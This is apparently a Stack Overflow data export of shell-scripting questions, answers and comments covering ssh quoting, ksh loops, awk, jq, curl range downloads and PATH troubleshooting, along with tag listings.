has body: The shell on host A executes the following command: ssh -A -tt userB@hostB hostname;hostname;hostname not ssh -A -tt userB@hostB "hostname;hostname;hostname" As such, only the first hostname is an argument to ssh. The semicolon terminates that command so that the following hostname commands are "peers" of ssh, not arguments of ssh. The process of joining multiple command arguments into a single command is not straightforward, and I generally recommend passing a single string argument yourself. ssh -A -t userA@hostA 'ssh -A -tt userB@hostB "hostname;hostname;hostname"'

http://stackoverflow.com/comment/134969350
has text: Just "it's not working" cannot help others help you. Please take a look at https://stackoverflow.com/help/how-to-ask and [repro].
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/76549287
type: Comment

http://stackoverflow.com/comment/135119853
type: Comment
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/76637313
has text: Thanks Andrej, the example is good explanation. So, you think it's not possible to get the multiline variable from csv?

http://stackoverflow.com/comment/135069661
has text: Don't cram your whole script onto 1 line and then you'll find it much easier to debug an error message that tells you which line the problem is on. We'd also find it much easier to help you with it.
score: 3
type: QuestionComment
comment on: http://stackoverflow.com/q/76607874
type: Comment

http://stackoverflow.com/comment/135062098
score: 0
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/76602223
has text: Perhaps `DATE_NOW` contains a white space; did you check this?

http://stackoverflow.com/a/76615850
answers question: http://stackoverflow.com/q/76615358
type: AcceptedAnswer
upvote count: 1
accepted answer of: http://stackoverflow.com/q/76615358
score: 1
type: Answer
has body: It looks like the double quotes in these strings are not interpreted the way you expect: ' -input "{@force clk_enable {"1"} -after 0ns}"',... ' -input "{@force reset {"0"} -after 0ns {"1"} -after 40ns {"0"} -after 120ns}"',... ' -input "{@force clk {"1"} -after 0ns {"0"} -after 40ns -repeat 80ns}"',... Fore example the first string probably gets interpreted as following parts: -input " - open-quote {@force clk_enable { - a string in quotes " - close-quote 1"} -after 0ns}" - extra characters after close-quote I would suggest trying to: remove those string to make sure the error disappears trying to escape the quotes - probably instead of {"1"} typing {\"1\"} or something similar, see this question for discussion How can I escape a double quote inside double quotes?
downvote count: 0

wget
tag name: wget
tags question: http://stackoverflow.com/q/76626472
type: Tag
tags question: http://stackoverflow.com/q/76790718
tags question: http://stackoverflow.com/q/77277941
tags question: http://stackoverflow.com/q/78108004
tags question: http://stackoverflow.com/q/78451035
tags question: http://stackoverflow.com/q/79407919

iterm2
type: Tag
tag name: iterm2
tags question: http://stackoverflow.com/q/76577218
tags question: http://stackoverflow.com/q/77139164

http://stackoverflow.com/comment/135040660
type: Comment
comment on: http://stackoverflow.com/q/76591635
type: QuestionComment
has text: @larsks is there a way to extract the filename from the variable? then I could use that against "date -r"?
score: 0

http://stackoverflow.com/comment/135162006
score: 0
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/76663322
has text: Variables don't expand in single quotes, so `"$specie_name"` is a literal string because your whole awk program is wrapped in single quotes. You need to pass it in as an awk variable.

http://stackoverflow.com/q/76669795
has answer: http://stackoverflow.com/a/76679402
answer count: 1
has comment: http://stackoverflow.com/comment/135174294
has comment: http://stackoverflow.com/comment/135364688
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/76679402
has comment: http://stackoverflow.com/comment/135176111
has comment: http://stackoverflow.com/comment/135183945
tagged with: for-loop
type: Question
tagged with: nested-loops
tagged with: shell
has comment: http://stackoverflow.com/comment/135173470
has body: I'm new to Korn shell scripting but learning as I go. I'm trying to run a WHILE loop with a nested FOR loop to read a CFG file and remove certain files that are older than a set number of days. The script runs fine without errors but it doesn't seem to be picking up the commands I have inside the loop. Below ill include the script, CFG file example and the output of the script with set -x included. Everything I've tried so far either fails or does not pick up the command. TIA! CFG FILE; FILE_PATH=/export/home/jaqst/training/testdir_1/ *.txt DAYS=7 FILE_PATH=/export/home/jaqst/training/testdir_1/ *.txt DAYS=14 Script; #!/bin/ksh set -x . ${HOME}/.profile #set up variables CFGFILE=/export/home/jaqst/training DATE=$(date +%s) # # Main processing starts here # echo `date +%d\ %b\ %H:%M` `basename $0` ${USER} "Job started" # # # CD CFG File location # cd ${CFGFILE} if $? -ne 0 then echo `date +%d\ %b\ %H:%M` `basename $0` ${USER} "failed to cd into ${CFGFILE}" exit 9 fi # # Remove files that are older than specified age # while read FILE_PATH; do read DAYS for FILE in $FILE_PATH/*; do for TIME in $DAYS/*; do if [ -f $FILE ]; then if [ "$(find $FILE -mtime +$DAYS -print)" ]; then rm -f $FILE echo "Deleted $FILE" fi fi done done < hkeep_hera_cfg # if $? -ne 0 then echo `date +%d\ %b\ %H:%M` `basename $0` ${USER} "failed to remove file" exit 9 fi # echo `date +%d\ %b\ %H:%M` `basename $0` ${USER} "Job Completed" # exit 0 Output; 12 Jul 11:44 hkeep_hera_draft jaqst Job started + cd /export/home/jaqst/training + 0 -ne 0 + 0< hkeep_hera_cfg + read FILE_PATH + read DAYS + 0< hkeep_hera_cfg + [ -f FILE_PATH=/export/home/jaqst/training/testdir_1 ] + [ -f FILE_PATH=/export/home/jaqst/training/testdir_1 ] + [ -f DAYS='7/*' ] + [ -f DAYS='7/*' ] + 0 -ne 0 + read FILE_PATH + date '+%d %b %H:%M' + basename ./hkeep_hera_draft + echo 12 Jul 11:44 hkeep_hera_draft jaqst 'Job Completed' 12 Jul 11:44 hkeep_hera_draft jaqst Job Completed + exit 0 From the output it a…
has title: While/ For loop not picking up commands
has comment: http://stackoverflow.com/comment/135177456
tagged with: while-loop
score: 0
tagged with: ksh

http://stackoverflow.com/comment/134963018
type: QuestionComment
has text: Do you limit support to one-word authors, titles, descriptions, and genres? Otherwise, how is the program supposed to recognize the boundaries between these?
comment on: http://stackoverflow.com/q/76546217
type: Comment
score: 0

bioinformatics
type: Tag
tags question: http://stackoverflow.com/q/76661943
tag name: bioinformatics
tags question: http://stackoverflow.com/q/76982715
tags question: http://stackoverflow.com/q/78561775

http://stackoverflow.com/comment/134964075
comment on: http://stackoverflow.com/a/76545097
has text: I don't think this is correct, it will find `term3 term1 term5` which it should not according to my understanding of the question - because it contains `term3`.
type: Comment
type: AnswerComment
score: 0

http://stackoverflow.com/q/76606743
has title: How to run spring boot jar from script file on Mac?
tagged with: java
has body: I have a Spring Boot application which I'm running from Intellij. I'm passing a lot of environment variables which are being referenced in application.yml. I'm passing env variables in below section in Intellij: For e.g.: LOCAL_FILE_PATH=\Users\ABC\Documents\files These are referenced in the application.yml as below: local: file: path: ${LOCAL_FILE_PATH} Now, I want to run the jar on Mac from a shell script. I have tried several things like setting up via export in script, passing them via spring_boot_json in script, etc. but it didn't work for me. Can someone please let me know what I'm missing. Thanks in Advance!
tagged with: spring-boot
has answer: http://stackoverflow.com/a/76606944
score: 0
type: Question
tagged with: macos
tagged with: shell
type: UnansweredQuestion
answer count: 1

http://stackoverflow.com/a/76608120
score: 0
has body: Assumptions: input file is nicely formatted as in the sample (eg, the entire contents of the file does not reside on a single line) the lines before the first (call these the 'header') and after the last (call these the 'tail') are to be written to each output file One awk idea that writes each stuRec block to a separate file: awk -v element="stuRec" ' BEGIN { find_hdr = 1; find_tail = 0 } $0 ~ "<" element ">" { find_hdr = find_tail = 0 n++ fname[n] = "output/part_" n ".xml" print hdr > fname[n] } find_hdr { hdr = hdr (hdr == "" ? "" : ORS) $0; next } find_tail { tail = tail (tail == "" ? "" : ORS) $0; next } fname[n] { print $0 > fname[n] } $0 ~ "</" element ">" { close(fname[n]); find_tail = 1 } END { for (i=1; i<=n; i++) { print tail >> fname[i] close(fname[i]) } } ' "student_records.xml" This generates: $ head -20 output/part*xml ==> output/part_1.xml <== <?xml version="1.0"?> BBC 2023-04-04 AB 1 </studentData> ==> output/part_2.xml <== <?xml version="1.0"?> RCD 2023-05-14 ON 2 </studentData> NOTES: to place X>1 number of stuRec blocks into a single file OP should be able to add an additional counter and use this to determine when to increment n (and thus create a new output file) if OP has problems getting an X>1 solution working then I'd suggest asking a new question, making sure to provide the attempted code
type: Answer
answers question: http://stackoverflow.com/q/76607874

http://stackoverflow.com/comment/135177228
score: 0
has text: hi @SaeedEisakhani, the perms are to the php binary. Some events can change the default behavior of php binary, then you need check if "php user"(that run this script) have perms on /bin/php or /usr/bin/php or another path. In the shell, you can get the default location: "# which php", then you can test now if the php user can call the binary file.
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/76664368

http://stackoverflow.com/comment/135095826
comment on: http://stackoverflow.com/q/76622495
type: QuestionComment
type: Comment
has text: I have do some investgate, in the terminal run the rust app, it works fine, but when I debbuging in visual studio code using lldb plugin, it could not read the environment variable. @kmdreko
score: 0

http://stackoverflow.com/comment/135013126
has text: See https://stackoverflow.com/questions/5564418/exporting-an-array-in-bash-script
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/76575510
score: 0

http://stackoverflow.com/comment/134979557
has text: what's the output from `awk --version`? I'm guessing MKS toolikit has an old/oddball version of `awk`; fwiw, I replaced MKS with cygwin ... eons ago ... cygwin isn't perfect but it tends to be 'closer' to what's available in newer unix/linux envs
type: Comment
comment on: http://stackoverflow.com/a/76550686
type: AnswerComment
score: 0

http://stackoverflow.com/comment/135093624
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/76622698
has text: You're expanding the values outside, before storing the content in `InlineShell`. Use `cat <<'EOF'`, with quotes around the sigil on the starting side, to avoid that.
score: 0

http://stackoverflow.com/a/76566415
type: Answer
answers question: http://stackoverflow.com/q/76566011
score: 0
has body: Try using the alias command alias your_command_name='python /path/to/script/your_script.py' https://www.mediacollege.com/linux/command/alias.html

http://stackoverflow.com/comment/135124872
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/76633273
has text: I'm not sure you understood my point. `php` here only runs `artisan` with parameter `tinker` and with `< phpscript.php 50000` you are saying "the standard input for the running program will be read from `phpscript.php 50000`. PHP will not execute `phpscript.php 50000` so the 50000 will not be used as an input to that. Maybe something like `php artisan tinker < $(php phpscript.php 500000)` might work (depends on your terminal) to run the 2nd script and then pass the output to the 1st one but not sure if this is what you actually want.
score: 0

http://stackoverflow.com/comment/135066907
type: QuestionComment
has text: You would see the difference the quotes make if you used `printf %s\\n` rather than `echo` (just a side note).
comment on: http://stackoverflow.com/q/76602223
type: Comment
score: 0

http://stackoverflow.com/comment/135051583
type: QuestionComment
score: 2
type: Comment
comment on: http://stackoverflow.com/q/76597912
has text: `sed` without the `-n` option will read from stdin, effectively stealing the rest of the file being read from. This looks like a duplicate of ["While loop stops reading after the first line in Bash"](https://stackoverflow.com/questions/13800225/while-loop-stops-reading-after-the-first-line-in-bash) (also, see [BashFAQ #89: "I'm reading a file line by line and running ssh or ffmpeg, only the first line gets processed!"](http://mywiki.wooledge.org/BashFAQ/089)).

http://stackoverflow.com/comment/135050241
comment on: http://stackoverflow.com/q/76596444
type: QuestionComment
has text: Does your `sh` *have* a `history` command? The deleted chatgpt answer suggested using `bash`, which might actually be the right answer for the wrong reasons (assuming you use it as your main interactive shell)
type: Comment
score: 1

http://stackoverflow.com/comment/135229154
comment on: http://stackoverflow.com/q/76686394
type: QuestionComment
score: 0
has text: UPDATE: I added the route.exe path to the export PATH and now it is working. It was working without the route.exe path earlier. Donno why?
type: Comment

http://stackoverflow.com/comment/134984463
type: QuestionComment
type: Comment
has text: @Cyrus Yes, seconds is more than fine.
comment on: http://stackoverflow.com/q/76558797
score: 0

php
tags question: http://stackoverflow.com/q/76678493
tag name: php
tags question: http://stackoverflow.com/q/76664368
type: Tag
tags question: http://stackoverflow.com/q/76633273
tags question: http://stackoverflow.com/q/76722146
tags question: http://stackoverflow.com/q/77100448
tags question: http://stackoverflow.com/q/77191993
tags question: http://stackoverflow.com/q/77245756
tags question: http://stackoverflow.com/q/77258270
tags question: http://stackoverflow.com/q/77646002
tags question: http://stackoverflow.com/q/77931123
tags question: http://stackoverflow.com/q/77886334
tags question: http://stackoverflow.com/q/78133099
tags question: http://stackoverflow.com/q/78346345
tags question: http://stackoverflow.com/q/78441249
tags question: http://stackoverflow.com/q/78594448
tags question: http://stackoverflow.com/q/79220508
tags question: http://stackoverflow.com/q/79078733
tags question: http://stackoverflow.com/q/79279398
tags question: http://stackoverflow.com/q/79435568
tags question: http://stackoverflow.com/q/79535541

http://stackoverflow.com/a/76930679
answers question: http://stackoverflow.com/q/76657138
score: 0
type: Answer
has body: Something like the following should work with any POSIX awk and also skip the current window (what you currently do with sed): awk -v cur="$cur" -v curoff="$curoff" -v min=-1 ' {dis = $2 - curoff; dis = dis < 0 ? -dis : dis} $1 != cur && (min == -1 || dis < min) {min = dis; id = $1} END {print "ID: " id " (offset " min ")"} ' 3 variables are defined on the command line with the -v option: cur, curoff and min, initialized to -1. The first line of the script stores the distance in variable dis and if it is negative, takes its opposite. The second updates min and id whenever we did not process any window yet (min == -1) or the distance is less than all previously encountered (dis < min), and it is not the current window ($1 != cur). The last line prints the result. For the other parts I suggest to simplify a bit with xargs: cur=$(pfw); curoff=$(wattr x "$cur") lsw | xargs -n1 wattr ix | awk -v cur="$cur" -v curoff="$curoff" -v min=-1 ' {dis = $2 - curoff; dis = dis < 0 ? -dis : dis} $1 != cur && (min == -1 || dis < min) {min = dis; id = $1} END {print "ID: " id " (offset " min ")"} '

http://stackoverflow.com/q/76615031
score: 0
tagged with: tcl
type: Question
has title: tcl: How to break from script into tclsh / interpreter?
answer count: 0
tagged with: shell
has body: I am looking for a way to set a breakpoint in a script so that when the script is executed and hits this breakpoint, it'll activate tclsh so that I can manually inspect (and play with) code from thereon. A similar behaviour can be achieved in python via pdb.set_trace(). Is there a way to accomplish this in Tcl, too? I have tried to set tcl_interactive, but this doesn't seem to alter the flow of the script at all, i.e. the script just progresses aftewards as usual. set ::tcl_interactive 1
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/135080707
has comment: http://stackoverflow.com/comment/135080750
tagged with: python
tagged with: interpreter
has comment: http://stackoverflow.com/comment/135080650

http://stackoverflow.com/comment/135119141
score: 0
comment on: http://stackoverflow.com/a/76638142
type: Comment
has text: Changing the name of the alias helped me out. But can you tell me, How I can see the previous command under `gss` alias. I can't unalias the `gss` without knowing that what it is doing earlier.
type: AnswerComment

http://stackoverflow.com/comment/135093208
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/76621052
has text: Also, Is it possible to run sbt "run 9001" command as background process.
type: Comment

http://stackoverflow.com/comment/135132355
type: QuestionComment
comment on: http://stackoverflow.com/q/76644366
has text: @DevilsHnd no, this is definitely not the problem, since according to the debug, the program does not even reach the entry point to the program via `@ShellMethod(value = "Calculate a numeral expression.", key = "calc")`
type: Comment
score: 0

http://stackoverflow.com/comment/135207995
type: QuestionComment
type: Comment
score: 0
comment on: http://stackoverflow.com/q/76690391
has text: Please edit your question (no comment): What have you searched for, and what did you find? What have you tried, and how did it fail?

http://stackoverflow.com/a/76906503
score: 1
upvote count: 1
type: Answer
downvote count: 0
has body: The main idea of solving this problem is to download the file chunk by chunk and write somewhere the offset of the last downloaded chunk. For this, at first, we are specifying the chunk size. The chunk size as much is near the size of downloading file, performance is better but the risk of losing more data in connection corruption increases. My suggestion is around 10 percent of downloading file size. My experience says the speed of downloading by about 25 percent decreased using this method. #!/bin/bash URL="Your-URL" content_length=$(curl -I $URL | grep -i 'Content-Length' | awk '{print $2}' | tr -d '\r') # In Bytes chunk_size=10000000 while true; do offset=$(cat offset.txt | grep -Eo '[0-9]+') next_chunk=$((offset + chunk_size - 1)) if next_chunk -ge content_length then curl -r $offset-$content_length --retry 10000 $URL > downloaded-chunk # In here you can do your process with the last downloaded chunk break fi curl -r $offset-$next_chunk $URL > downloaded-chunk # In here you can do your process with a downloaded chunk offset=$((next_chunk + 1)) echo "Offset of the last chunk downloaded: $offset bytes" echo $offset > offset.txt done The size of the whole file is needed to know where we should have our range in using curl with the range option -r. The last chunk of data is not usually fitted in chunk size, this is handled by the if condition in the while.
answers question: http://stackoverflow.com/q/76626472

http://stackoverflow.com/comment/135086244
type: QuestionComment
comment on: http://stackoverflow.com/q/76617551
type: Comment
has text: @Kaz thanks for your reply, i try this,but it not work
score: 0

http://stackoverflow.com/a/76583926
type: Answer
score: 2
upvote count: 2
accepted answer of: http://stackoverflow.com/q/76583869
downvote count: 0
has comment: http://stackoverflow.com/comment/135028903
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/76583869
has body: The synopsis for git-for-each-ref says git for-each-ref … [ --stdin | &lt;pattern&gt;…​ ] which means you need to provide either --stdin or a pattern. You are currently providing both. Remove the refs/heads/** argument and only use --stdin.

http://stackoverflow.com/comment/135013962
has text: I said "shell arrays", sorry if it wasn't clear. It's not specific to bash, it also applies to ksh, zsh, dash, even csh.
type: QuestionComment
comment on: http://stackoverflow.com/q/76575510
type: Comment
score: 0

interpreter
type: Tag
tags question: http://stackoverflow.com/q/76615031
tag name: interpreter
tags question: http://stackoverflow.com/q/79305013

http://stackoverflow.com/comment/134972665
type: Comment
score: 0
has text: I was mistaken thinking that `/bin/sh` is a symlink to `zsh`, thanks for pointing it out
comment on: http://stackoverflow.com/q/76550372
type: QuestionComment

http://stackoverflow.com/comment/135184104
comment on: http://stackoverflow.com/q/76674976
type: QuestionComment
type: Comment
has text: According to which rule should `dataindex[n]` be associated with a certain string inside the associative array `data`?
score: 0

git-tfs
tags question: http://stackoverflow.com/q/76575777
type: Tag
tag name: git-tfs

http://stackoverflow.com/comment/135095846
has text: Just make the main quotes doubled ""
comment on: http://stackoverflow.com/q/76574168
score: 0
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/135023418
type: QuestionComment
type: Comment
has text: Does the input file has dos line endings or other unreadable characters? Please checj.
comment on: http://stackoverflow.com/q/76581584
score: 4

xampp
tags question: http://stackoverflow.com/q/76664368
type: Tag
tag name: xampp

http://stackoverflow.com/comment/135188635
score: 0
comment on: http://stackoverflow.com/a/76669672
has text: **after you buy the book**, you can also use the associated reference material at https://www.gnu.org/software/gawk/manual/gawk.html#String-Functions.
type: Comment
type: AnswerComment

http://stackoverflow.com/comment/135054730
comment on: http://stackoverflow.com/q/76597816
score: 1
has text: Deskbands still work in Windows 10, but not in Windows 11 (unless you install some hack tool such as https://github.com/valinet/ExplorerPatcher which reverts 11 taskbar to 10 taskbar). This "Performance Counter" you mention seems to render exectly like TrafficMonitor it's probably using the same hacks (or it's a full rebrand...). Search for GetShellTrayWndHandleAndSaveWindows11TaskBarExistenceInfoToTheApp in the source and around.
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/135127879
score: 0
type: QuestionComment
has text: It done but now i got this : source ~/.bash_profile /Users/users/.rvm/scripts/rvm:12: command not found: uname /Users/users/.rvm/scripts/rvm:29: command not found: ps
comment on: http://stackoverflow.com/q/76643341
type: Comment

http://stackoverflow.com/comment/139488406
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/76638142
score: 0
has text: This helped me for conda env issue. unalias conda resolved it. superb

http://stackoverflow.com/comment/135228381
type: QuestionComment
has text: Just being curious: How is the **title** of the question related to the **content** of the question?
comment on: http://stackoverflow.com/q/76697549
type: Comment
score: 0

http://stackoverflow.com/comment/135011620
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/76574631
has text: Sure, it's possible to process this list as you have described, but it would probably be easier to do in something a bit more capable than awk (Python would be my choice, but there are lots of options).
score: 0

http://stackoverflow.com/comment/135146185
has text: You should define what algorithm you want to do instead of showing just your code. You want to add a new attribute, following what logic? When I compare your Canis_lupus_familiaris.ROS_Cfam_1.0.108.gtf file with your desired output, I see that the gene_id changed AND the new column is added. And the gene_id in Canis_lupus_familiaris.ROS_Cfam_1.0.108.gtf does not appear in your reference file. What algorithm is used then?
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/76645511
score: 1

http://stackoverflow.com/a/76566974
score: 1
downvote count: 0
upvote count: 1
type: Answer
answers question: http://stackoverflow.com/q/76566816
has body: as @Mathias R. Jessen commented: diff (gc file1) (gc path/to/file2)

http://stackoverflow.com/comment/135054289
comment on: http://stackoverflow.com/q/76596444
score: 1
type: QuestionComment
has text: @lool The empty output is expected. If your actual goal is to get the shell history, then update the question to state that goal.
type: Comment

export
tag name: export
type: Tag
tags question: http://stackoverflow.com/q/76624018
tags question: http://stackoverflow.com/q/77473871
tags question: http://stackoverflow.com/q/77811450

http://stackoverflow.com/a/76597537
has body: The problem is that sh -c history doesn't work. The shell you're launching doesn't have that command. history is not a standard POSIX command. You might be on a system where /bin/sh happens to be Dash. If sh happens to be Bash, the history command will successfully execute, even if Bash is invoked as sh; Bash doesn't hide that command in POSIX mode. On a system I have here: $ sh -c history sh: 1: history: not found $ dash -c history dash: 1: history: not found $ bash -c history $ bash --posix -c history $ bash --posix -c history $ ln -sf /bin/bash ./sh $ ./sh -c history $ rm sh
score: 1
upvote count: 1
type: Answer
downvote count: 0
answers question: http://stackoverflow.com/q/76596444

http://stackoverflow.com/comment/135172276
comment on: http://stackoverflow.com/q/76664368
score: 0
type: QuestionComment
has text: you're searching, instead of looking. the later works better. add php error logging to the `php` command specifically and then check the error log. it will show you if there is a permission issue or not. additionally you can use the error_log() function to add diagnostics (if you don't want to use assert()) with php file-system functions, e.g. to test for permissions. add the output of the error log to your question. also verify the working directory of the process, this can be a common issue, you don't have permissions if the file or directory does not exists.
type: Comment

http://stackoverflow.com/comment/135222664
comment on: http://stackoverflow.com/a/76696254
type: Comment
type: AnswerComment
has text: @user4292809, ...sorry 'bout that; apparently failed in retesting after some edits. See current version working @ https://replit.com/@CharlesDuffy2/JaggedWorriedSymbol#main.sh
score: 1

http://stackoverflow.com/comment/135157379
comment on: http://stackoverflow.com/a/76660434
score: 0
has text: so on crontab -e I put the code line: @reboot sh /home/fifex/Desktop/ugsplatform-pi/bin/ugsplatform But unfortunately It didn't load on reboot
type: Comment
type: AnswerComment

http://stackoverflow.com/comment/135039453
has text: If it's the numbers after DiaMatch, then with gnu grep: `grep -Po 'DiaMatch\(\K\d+' jobs.yaml >newfile`
comment on: http://stackoverflow.com/q/76590436
type: QuestionComment
type: Comment
score: 0

http://stackoverflow.com/comment/135222257
comment on: http://stackoverflow.com/a/76696254
type: Comment
type: AnswerComment
has text: when i apply your change, i get a error : " jq: error (at file_PP.json:0): Cannot index array with string "creation_date" "
score: 0

http://stackoverflow.com/a/76669672
has comment: http://stackoverflow.com/comment/135188222
type: AcceptedAnswer
has body: You never need sed when you're using awk. I think this is what you're trying to do, using any awk: echo 'www.google.com 300 IN A \<ip_address\>' | awk '{ sub(/\..*/,"",$1); printf "The subdomain %s is a %s record and points to %s\n", $1, $4, $5 }' The subdomain www is a A record and points to \<ip_address\> Replace the echo '...' with get_dig "$@" (which I obviously don't have). As for why your script didn't work, see How do I use shell variables in an awk script? and get rid of the echo in front of get_dig in the pipe to sed.
has comment: http://stackoverflow.com/comment/135188635
has comment: http://stackoverflow.com/comment/135188604
accepted answer of: http://stackoverflow.com/q/76669265
score: 1
upvote count: 1
type: Answer
answers question: http://stackoverflow.com/q/76669265
downvote count: 0

http://stackoverflow.com/tag/c
tags question: http://stackoverflow.com/q/76669426
type: Tag
tags question: http://stackoverflow.com/q/76591531
tag name: c
tags question: http://stackoverflow.com/q/76770526
tags question: http://stackoverflow.com/q/76805544
tags question: http://stackoverflow.com/q/76741997
tags question: http://stackoverflow.com/q/76722912
tags question: http://stackoverflow.com/q/76749128
tags question: http://stackoverflow.com/q/76772789
tags question: http://stackoverflow.com/q/76936679
tags question: http://stackoverflow.com/q/77094897
tags question: http://stackoverflow.com/q/77231881
tags question: http://stackoverflow.com/q/77148106
tags question: http://stackoverflow.com/q/77154642
tags question: http://stackoverflow.com/q/77095231
tags question: http://stackoverflow.com/q/77060642
tags question: http://stackoverflow.com/q/77260898
tags question: http://stackoverflow.com/q/77316927
tags question: http://stackoverflow.com/q/77480177
tags question: http://stackoverflow.com/q/77578307
tags question: http://stackoverflow.com/q/77521919
tags question: http://stackoverflow.com/q/77505103
tags question: http://stackoverflow.com/q/77441586
tags question: http://stackoverflow.com/q/77570866
tags question: http://stackoverflow.com/q/77782747
tags question: http://stackoverflow.com/q/77703718
tags question: http://stackoverflow.com/q/78137893
tags question: http://stackoverflow.com/q/78176239
tags question: http://stackoverflow.com/q/78381184
tags question: http://stackoverflow.com/q/78391361
tags question: http://stackoverflow.com/q/78379136
tags question: http://stackoverflow.com/q/78334722
tags question: http://stackoverflow.com/q/78553762
tags question: http://stackoverflow.com/q/78642544
tags question: http://stackoverflow.com/q/78919440
tags question: http://stackoverflow.com/q/79108748
tags question: http://stackoverflow.com/q/79234647
tags question: http://stackoverflow.com/q/79255461
tags question: http://stackoverflow.com/q/79306972
tags question: http://stackoverflow.com/q/79511800

mongodb
tags question: http://stackoverflow.com/q/76710355
type: Tag
tag name: mongodb
tags question: http://stackoverflow.com/q/77243595
tags question: http://stackoverflow.com/q/77879731
tags question: http://stackoverflow.com/q/79139728

http://stackoverflow.com/comment/135151140
type: Comment
score: 0
has text: For something like this, it's vital to understand the entire sequence of processing/parsing steps the string (password) is going to go through on its way to its ultimate destination. How exactly is the string provided to the script? You said it's a "datastage parameter", but I don't know what that means. Is there some preprocessing stage that substitutes it into the script before the script is executed, or is it just passed as an argument to something like `execve()`, or as part of a shell command (e.g. `/path/to/shell "test@\$134!'"`), or what?
type: QuestionComment
comment on: http://stackoverflow.com/q/76656022

http://stackoverflow.com/q/76696095
downvote count: 0
type: Question
has title: jq convert an json array to csv
upvote count: 1
type: UnansweredQuestion
has body: i try to format a .json file in .csv file my json file is complex, it mixes arrays and bracket. i don't success to extract the array values here is an extract of my json file than i want to format in csv file { "creation_date": "2023/06/16 15:55:09", "data": { "transactionType": "val", "environment": "1", "location": { "zoneId": 2 }, "media": { "typeCode": 15, "postPaymentEvent": [ { "transactionDate": "2022-12-26T16:50:00+01:00", "vehicleType": 1, "vehicleId": 1533 }, { "transactionDate": "2022-12-27T16:31:00+01:00", "vehicleType": 1, "vehicleId": 1533 }, { "transactionDate": "2022-12-28T15:50:00+01:00", "vehicleType": 1, "vehicleId": 1533 } ] }, "deviceConfiguration": [ { "id": "PLATFORM_PAR", "version": "2.6" }, { "id": "PLATFORM_SOFT", "version": "2.6" } ] }, "id": "000-0" } And my jq command, i want to get all the value, with and without array elements. I didn't get nothing when i get the value data.media.postPaymentEvent[0].transactionDate. jq --raw-output '[ "creation_date", "data.transactionType", "data.location.zoneId", "data.media.typeCode", "data.media.postPaymentEvent[0].transactionDate", "id" ] as $h | $h, (. | [getpath($h[] / ".")]) | @csv'
has comment: http://stackoverflow.com/comment/135217869
has answer: http://stackoverflow.com/a/76696254
tagged with: shell
score: 1
answer count: 1
favorite count: 0
tagged with: jq

http://stackoverflow.com/comment/134977977
type: QuestionComment
comment on: http://stackoverflow.com/q/76555096
has text: I do not understand. You want a perl command to remove `$` from file? How is this related to bash? `$ has the special meaning in shell script, so getting the above error. Could you please suggest me how I should replace the password` Don't you want to fix the error first? Or you do not care about the error, it's completely unrelated, and you are asking only how to replace the string `SOMEPASSWORD` in a file by another value specifically using perl? Why do you mention the error if you want to replace something in a file?
type: Comment
score: 0

http://stackoverflow.com/a/76659566
type: Answer
answers question: http://stackoverflow.com/q/76566011
score: 0
has body: In addition to creating an alias, you can also create a shell script. In a file named test_project.sh #!/bin/bash python /path/to/TestProject/test_project Put that somewhere that's included in your $PATH variable, then run test_project.sh. You might have to mark it as executable (chmod u+x test_project.sh). You also don't need the .sh extension in your file name. I added it for clarity.

http://stackoverflow.com/comment/135048459
type: Comment
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/76593246
has text: Trying to use regular expressions to parse arbitrary JSON is hopeless. It's only feasible when you know that the data is restricted like this.

http://stackoverflow.com/comment/135173837
type: Comment
has text: Why does the alternative way of defining a function help here? Is there a difference, whether or not I explicitly use the `function` keyword?
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/76638142

http://stackoverflow.com/comment/135093559
type: Comment
comment on: http://stackoverflow.com/q/76621621
has text: Use `-eq` for numeric equality in `[`/`[[`, not `==`, btw.
type: QuestionComment
score: 0

http://stackoverflow.com/comment/135010868
has text: Use a real JSON mangler like `jq` or whatever function your language provides.
score: 2
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/76574168

http://stackoverflow.com/comment/135140759
has text: So, what actually is the value of your PATH variable, at the time you are invoking `nano`?
score: 0
comment on: http://stackoverflow.com/q/76643341
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/134987210
comment on: http://stackoverflow.com/q/76560632
score: 1
type: QuestionComment
has text: Try reversing the quotes, e.g. use double quotes first and the single quotes for the value of the `where` statement.
type: Comment

http://stackoverflow.com/comment/135048306
has text: @markalex It's very weird that it accepts them and ignores them, but I agree that it's what the behavior shows.
type: QuestionComment
type: Comment
score: 0
comment on: http://stackoverflow.com/q/76593228

rstudio
type: Tag
tags question: http://stackoverflow.com/q/76631928
tag name: rstudio

cp
tags question: http://stackoverflow.com/q/76594215
type: Tag
tag name: cp
tags question: http://stackoverflow.com/q/79108748

openssl
tags question: http://stackoverflow.com/q/76690391
tags question: http://stackoverflow.com/q/76689787
type: Tag
tag name: openssl
tags question: http://stackoverflow.com/q/76739984
tags question: http://stackoverflow.com/q/77831669
tags question: http://stackoverflow.com/q/79431840

http://stackoverflow.com/comment/135140360
comment on: http://stackoverflow.com/q/76650830
has text: please provide the sample output
score: 1
type: QuestionComment
type: Comment

variable-expansion
type: Tag
tags question: http://stackoverflow.com/q/76616176
tag name: variable-expansion

http://stackoverflow.com/comment/134978492
score: 0
comment on: http://stackoverflow.com/a/76552229
type: Comment
has text: I had assumed the script you posted at the top of your question was [my answer to your previous question](https://stackoverflow.com/a/76483137/1745001) just updated to also change an additional line, but saving `a[NR]=$2` and then replacing the string with that value isn't part of my previous answer and doesn't make sense - that's saving a field from `main` and then replacing an another field from `main` with it instead of replacing with a field from `ref`.
type: AnswerComment

function
